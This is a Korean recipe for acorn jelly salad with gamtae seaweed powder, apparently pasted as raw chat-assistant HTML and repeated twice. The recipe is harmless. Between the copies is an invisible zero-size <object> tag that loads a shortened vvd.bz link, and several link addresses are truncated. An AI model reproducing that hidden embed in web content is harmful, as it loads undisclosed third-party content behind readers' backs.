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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">도토리묵무침 감태가루 도토리묵 만드는 법 2: 풍미를 더한 특별한 레시피</h2><p data-sourcepos="3:1-3:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6989126"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 무침 완성 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSg4pnhqvClOsoygxX7Ib1SNiS-knc1JfrbBHPf1oC7SA8P94kd9Z7CnkSHzT2G"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6989126" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 무침 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:46">도토리묵에 감태가루를 더해 풍미를 더한 특별한 도토리묵 무침 레시피를 소개합니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-20:0">
<li data-sourcepos="9:1-9:11">도토리묵 200g</li>
<li data-sourcepos="10:1-10:10">감태가루 2큰술</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:9">오이 1/2개</li>
<li data-sourcepos="13:1-13:8">풋고추 2개</li>
<li data-sourcepos="14:1-14:8">간장 3큰술</li>
<li data-sourcepos="15:1-15:8">식초 2큰술</li>
<li data-sourcepos="16:1-16:8">설탕 1큰술</li>
<li data-sourcepos="17:1-17:13">다진 마늘 1/2큰술</li>
<li data-sourcepos="18:1-18:9">참기름 1큰술</li>
<li data-sourcepos="19:1-20:0">통깨 1큰술</li>
</ul><p data-sourcepos="21:1-21:9"><strong>만드는 법</strong></p><ol data-sourcepos="23:1-28:0">
<li data-sourcepos="23:1-23:41"><strong>도토리묵 썰기:</strong> 도토리묵을 먹기 좋은 크기로 깍둑썰기 합니다.</li>
<li data-sourcepos="24:1-24:35"><strong>채소 손질:</strong> 양파, 오이, 풋고추는 채 썰어줍니다.</li>
<li data-sourcepos="25:1-25:65"><strong>양념장 만들기:</strong> 볼에 간장, 식초, 설탕, 다진 마늘, 참기름, 통깨를 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="26:1-26:54"><strong>버무리기:</strong> 썰어놓은 도토리묵과 채소를 큰 볼에 담고 양념장을 넣어 골고루 버무립니다.</li>
<li data-sourcepos="27:1-28:0"><strong>마무리:</strong> 버무린 도토리묵에 감태가루를 넣고 살살 섞어주면 완성입니다.</li>
</ol><p data-sourcepos="29:1-29:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6829369"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 무침 재료 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQfcJ-budVreQpiPzgY65jcW-0csWf0l9oIDMFgopR-g-QbgBZ1jgvM_zpQYiz5"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6829369" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 무침 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="31:1-31:5"><strong>팁</strong></p><ul data-sourcepos="33:1-37:0">
<li data-sourcepos="33:1-33:36"><strong>감태가루:</strong> 감태가루 대신 김 가루를 사용해도 좋습니다.</li>
<li data-sourcepos="34:1-34:46"><strong>채소:</strong> 취향에 따라 다른 채소를 추가하여 다양한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="35:1-35:32"><strong>양념:</strong> 양념의 비율은 취향에 따라 조절해주세요.</li>
<li data-sourcepos="36:1-37:0"><strong>도토리묵 쑤기:</strong> 직접 도토리묵을 쑤어 사용하면 더욱 깊은 풍미를 느낄 수 있습니다.</li>
</ul><p data-sourcepos="38:1-38:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.kca.go.kr/kca/board/download.do?menukey=5084&amp;fno=10003877&amp;bid=00000013&amp;did=1000617938"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 쑤는 과정 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSYmGnXUJR0IyJpvMzJ49ywVsnyTIuyZehHak71ybp_F1jrB7cFCzc7xf4BWZDc"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.kca.go.kr/kca/board/download.do?menukey=5084&amp;fno=10003877&amp;bid=00000013&amp;did=1000617938" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQeHG8QaxftF4bpSjDOwsE9FgU9NVyT3LuncCnUCP94hgx1vkIIo59PxQgkzrcRjeBdK2-wXvvzHel1D4X00S5qYRVdM0uLSQ"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.kca.go.kr</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 쑤는 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="40:1-40:36"><strong>따뜻한 밥에 비벼 먹거나 쌈 채소에 싸 먹어도 맛있습니다.</strong></p><p data-sourcepos="42:1-42:32"><strong>도토리묵 감태가루 무침 레시피 요리 한식</strong></p><p data-sourcepos="44:1-44:49"><strong>저작권:</strong> 본 콘텐츠는 저작권법의 보호를 받습니다. 무단 복제 및 배포를 금합니다.</p><p data-sourcepos="46:1-46:39"><strong> 출처:</strong> 픽사베이, Unsplash 등 무료 사이트</p><p data-sourcepos="48:1-49:26">
<span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://en.m.wikipedia.org/wiki/File:Unsplash_wordmark_logo.svg"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="Unsplash 로고 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTbPwaTfSjBn8YEn20Mv2GdtjQ0Z-2aDDX25I5owj7t2ncDYUSK_Y3nzMlbNDLA"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://en.m.wikipedia.org/wiki/File:Unsplash_wordmark_logo.svg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_26f2cdcec8feef19&quot;,&quot;c_6c1f1a2a853be3cb&quot;,null,&quot;rc_0ce6fdf3c5d22cce&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRpbYPn4WJFVFQGJrIejHnlYehSYyTXdvPuEgD0mrIq7TI2ggSWmyKQzIgXbKdshoHWUvJF4V5W5eWxPUQ-vWA3U7bBm8eWGZc52goT"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">en.m.wikipedia.org</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Unsplash 로고 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="51:1-51:60"><strong>본 콘텐츠는 정보 제공의 목적으로만 작성되었으며, 정확한 정보는 관련 전문가에게 문의하시기 바랍니다.</strong></p><p data-sourcepos="53:1-53:38"><strong>지금 바로 도토리묵 무침을 만들어 맛있는 한 끼를 즐겨보세요!</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dYis" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">도토리묵무침 감태가루 도토리묵 만드는 법 2: 풍미를 더한 특별한 레시피</h2><p data-sourcepos="3:1-3:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6989126"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 무침 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSg4pnhqvClOsoygxX7Ib1SNiS-knc1JfrbBHPf1oC7SA8P94kd9Z7CnkSHzT2G"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6989126" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 무침 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:46">도토리묵에 감태가루를 더해 풍미를 더한 특별한 도토리묵 무침 레시피를 소개합니다.</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-20:0">
<li data-sourcepos="9:1-9:11">도토리묵 200g</li>
<li data-sourcepos="10:1-10:10">감태가루 2큰술</li>
<li data-sourcepos="11:1-11:9">양파 1/2개</li>
<li data-sourcepos="12:1-12:9">오이 1/2개</li>
<li data-sourcepos="13:1-13:8">풋고추 2개</li>
<li data-sourcepos="14:1-14:8">간장 3큰술</li>
<li data-sourcepos="15:1-15:8">식초 2큰술</li>
<li data-sourcepos="16:1-16:8">설탕 1큰술</li>
<li data-sourcepos="17:1-17:13">다진 마늘 1/2큰술</li>
<li data-sourcepos="18:1-18:9">참기름 1큰술</li>
<li data-sourcepos="19:1-20:0">통깨 1큰술</li>
</ul><p data-sourcepos="21:1-21:9"><strong>만드는 법</strong></p><ol data-sourcepos="23:1-28:0">
<li data-sourcepos="23:1-23:41"><strong>도토리묵 썰기:</strong> 도토리묵을 먹기 좋은 크기로 깍둑썰기 합니다.</li>
<li data-sourcepos="24:1-24:35"><strong>채소 손질:</strong> 양파, 오이, 풋고추는 채 썰어줍니다.</li>
<li data-sourcepos="25:1-25:65"><strong>양념장 만들기:</strong> 볼에 간장, 식초, 설탕, 다진 마늘, 참기름, 통깨를 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="26:1-26:54"><strong>버무리기:</strong> 썰어놓은 도토리묵과 채소를 큰 볼에 담고 양념장을 넣어 골고루 버무립니다.</li>
<li data-sourcepos="27:1-28:0"><strong>마무리:</strong> 버무린 도토리묵에 감태가루를 넣고 살살 섞어주면 완성입니다.</li>
</ol><p data-sourcepos="29:1-29:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6829369"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 무침 재료 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQfcJ-budVreQpiPzgY65jcW-0csWf0l9oIDMFgopR-g-QbgBZ1jgvM_zpQYiz5"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6829369" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 무침 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="31:1-31:5"><strong>팁</strong></p><ul data-sourcepos="33:1-37:0">
<li data-sourcepos="33:1-33:36"><strong>감태가루:</strong> 감태가루 대신 김 가루를 사용해도 좋습니다.</li>
<li data-sourcepos="34:1-34:46"><strong>채소:</strong> 취향에 따라 다른 채소를 추가하여 다양한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="35:1-35:32"><strong>양념:</strong> 양념의 비율은 취향에 따라 조절해주세요.</li>
<li data-sourcepos="36:1-37:0"><strong>도토리묵 쑤기:</strong> 직접 도토리묵을 쑤어 사용하면 더욱 깊은 풍미를 느낄 수 있습니다.</li>
</ul><p data-sourcepos="38:1-38:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.kca.go.kr/kca/board/download.do?menukey=5084&fno=10003877&bid=00000013&did=1000617938"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="도토리묵 쑤는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSYmGnXUJR0IyJpvMzJ49ywVsnyTIuyZehHak71ybp_F1jrB7cFCzc7xf4BWZDc"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.kca.go.kr/kca/board/download.do?menukey=5084&fno=10003877&bid=00000013&did=1000617938" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQeHG8QaxftF4bpSjDOwsE9FgU9NVyT3LuncCnUCP94hgx1vkIIo59PxQgkzrcRjeBdK2-wXvvzHel1D4X00S5qYRVdM0uLSQ"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.kca.go.kr</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 도토리묵 쑤는 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="40:1-40:36"><strong>따뜻한 밥에 비벼 먹거나 쌈 채소에 싸 먹어도 맛있습니다.</strong></p><p data-sourcepos="42:1-42:32"><strong>도토리묵 감태가루 무침 레시피 요리 한식</strong></p><p data-sourcepos="44:1-44:49"><strong>저작권:</strong> 본 콘텐츠는 저작권법의 보호를 받습니다. 무단 복제 및 배포를 금합니다.</p><p data-sourcepos="46:1-46:39"><strong> 출처:</strong> 픽사베이, Unsplash 등 무료 사이트</p><p data-sourcepos="48:1-49:26">
<span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://en.m.wikipedia.org/wiki/File:Unsplash_wordmark_logo.svg"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="Unsplash 로고 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTbPwaTfSjBn8YEn20Mv2GdtjQ0Z-2aDDX25I5owj7t2ncDYUSK_Y3nzMlbNDLA"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://en.m.wikipedia.org/wiki/File:Unsplash_wordmark_logo.svg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_26f2cdcec8feef19","c_6c1f1a2a853be3cb",null,"rc_0ce6fdf3c5d22cce",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRpbYPn4WJFVFQGJrIejHnlYehSYyTXdvPuEgD0mrIq7TI2ggSWmyKQzIgXbKdshoHWUvJF4V5W5eWxPUQ-vWA3U7bBm8eWGZc52goT"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">en.m.wikipedia.org</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> Unsplash 로고 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="51:1-51:60"><strong>본 콘텐츠는 정보 제공의 목적으로만 작성되었으며, 정확한 정보는 관련 전문가에게 문의하시기 바랍니다.</strong></p><p data-sourcepos="53:1-53:38"><strong>지금 바로 도토리묵 무침을 만들어 맛있는 한 끼를 즐겨보세요!</strong></p></div>
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